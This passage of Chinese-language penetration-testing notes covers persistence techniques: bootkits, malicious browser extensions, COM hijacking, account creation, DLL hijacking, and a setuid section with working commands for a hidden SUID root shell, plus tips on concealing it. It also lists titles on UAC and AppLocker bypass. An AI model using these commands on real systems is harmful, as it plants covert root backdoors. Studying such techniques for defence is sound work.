bootkit 是一种恶意软件变体,它修改硬盘驱动器的引导扇区,包括主引导记录 (MBR) 和卷引导记录 (VBR)。 攻击者可以使用 bootkits 在操作系统下面的层上的系统上持久存在,这可能使得难以执行全面的补救,除非组织怀疑使用的 bootkit 并且可以相应地采取行动。­

主引导记录
MBR 是 BIOS 完成硬件初始化后首先加载的磁盘部分。它是引导加载程序的位置。对引导驱动器有原始访问权限的攻击者可能会覆盖此区域,从而在启动期间将执行从正常的引导加载程序转移到攻击者代码。

卷引导记录
MBR 将引导过程的控制权传递给 VBR。与 MBR 的情况类似,具有对引导驱动器的原始访问权限的攻击者可能会覆盖 VBR 以将启动期间的执行转移到攻击者代码。

0x3.10浏览器扩展

恶意扩展可以通过伪装成合法扩展的恶意应用程序商店下载文件、通过社会工程或经由已经成功攻击系统的攻击者安装到浏览器中。 浏览器应用程序商店的安全性可能受到限制,因此恶意扩展绕过自动扫描程序并上传可能并不困难。 扩展安装完成后,它可以在后台浏览网站, 窃取用户输入到浏览器的所有信息,包括凭证 ,并作为 RAT 病毒的安装程序用于持久化

Chrome插件(扩展)开发全攻略

0x3.11更改默认文件关联

打开文件时,系统将检查用于打开文件的默认程序(也称为文件关联或处理程序)文件关联选择存储在 Windows 注册表中,可以由具有注册表访问权限的用户、管理员或 程序编辑,也可以由使用内置 assoc 实用程序的管理员编辑。

0x3.12组件固件

攻击者可以使用多个具有不同命令与控制协议的远程访问工具来规避检测 。

0x3.13组件对象模型劫持

组件对象模型 (COM) 是 Windows 中的一个系统,它支持软件组件之间通过操作系统交互。 攻击者可以使用该系统插入恶意代码,这些代码可以通过劫持 COM 引用和关系作为持久化的手段来代替合法软件执行。 劫持 COM 对象需要更改 Windows 注册表,以替换对合法系统组件的引用,这可能导致该组件在执行时无法正常工作。 当该系统组件通过正常的系统操作执行时,攻击者的代码将被执行。 攻击者很可能劫持那些经常使用的对象,以保持一致的持久性,但不太可能破坏系统中的明显功能,避免系统不稳定而触发检测。

通过COM组件IFileOperation越权复制文件
通过COM组件NetFwPolicy2越权关闭防火墙
通过COM组件IARPUninstallStringLauncher绕过UAC

0x3.14创建账户

具有足够访问级别的攻击者可以创建本地系统或域帐户。 这些帐户可用持久化,不需要在系统上部署持久远程访问工具。 net user 命令可用于创建本地或域帐户。

0x3.15 DLL 搜索顺序劫持

Windows 系统使用常见方法来查找需要加载到程序中的 DLL。 攻击者可以利用 Windows DLL 搜索顺序和未明确指明 DLL 的程序来提权和持久化攻击。

0x3.16外部远程服务

诸如 vpn、Citrix 等远程服务和其他访问机制允许用户从外部连接到企业内部的网络资源。 攻击者可以使用远程服务来获取对网络的访问权并维持访问权限。

0x3.17 Setuid和Setgid

在Linux或macOS上为应用程序设置setuid或setgid位时,这意味着该应用程序将分别以拥有用户或组的特权运行。

Suid shell是一种可用于以拥有者权限运行的shell,如果拥有者是root
那么任何运行了这个shell的用户便可以控制整个系统,如增加用户、修改root口令、清除日志等等。

root权限下执行

1
2
cp /bin/bash  /.test
chmod 4755 /.test

这个放的目录要尽可能隐蔽,最好是子子子目录然后找一个相似的命名。

切换普通用户

1
/.test

不过bash2针对suid做了一些措施 加个参数就行

1
/.test -p

SUID Executables

参考文章

AppLocker Bypass – CMSTP
CHM渗透:从入门到“入狱”
绕过AppLocker系列之控制面板的利用
Windows执行命令与下载文件总结
绕过AppLocker系列之Regasm和Regsvcs的利用

利用script和scriptlet moniker绕过脚本白名单限制